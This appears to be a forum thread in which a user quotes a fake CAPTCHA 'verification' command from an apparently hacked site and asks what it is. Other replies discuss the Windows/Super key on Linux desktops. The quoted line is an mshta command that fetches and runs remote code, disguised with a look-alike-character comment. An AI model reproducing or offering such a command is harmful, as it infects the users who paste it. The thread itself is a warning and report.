The text it wants me to run is the following:
mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163’’
Looks like the site got hacked and wants be run malware, but I’ve never seen something like this before.
It’s on some keyboards and opens the start menu on windows. It can, of course, also be used on Linux, because it’s just a key on a keyboard. For example, in Gnome it opens the overview per default (where you see all the windows as small tiles and can use the app search).
on my linux it opens the zorin menu which is pretty much like the start menu